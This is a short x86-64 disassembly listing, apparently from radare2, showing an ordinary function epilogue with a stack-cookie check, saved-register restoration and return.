jmp 0x140056e42
mov eax, 1
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.14005b090
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret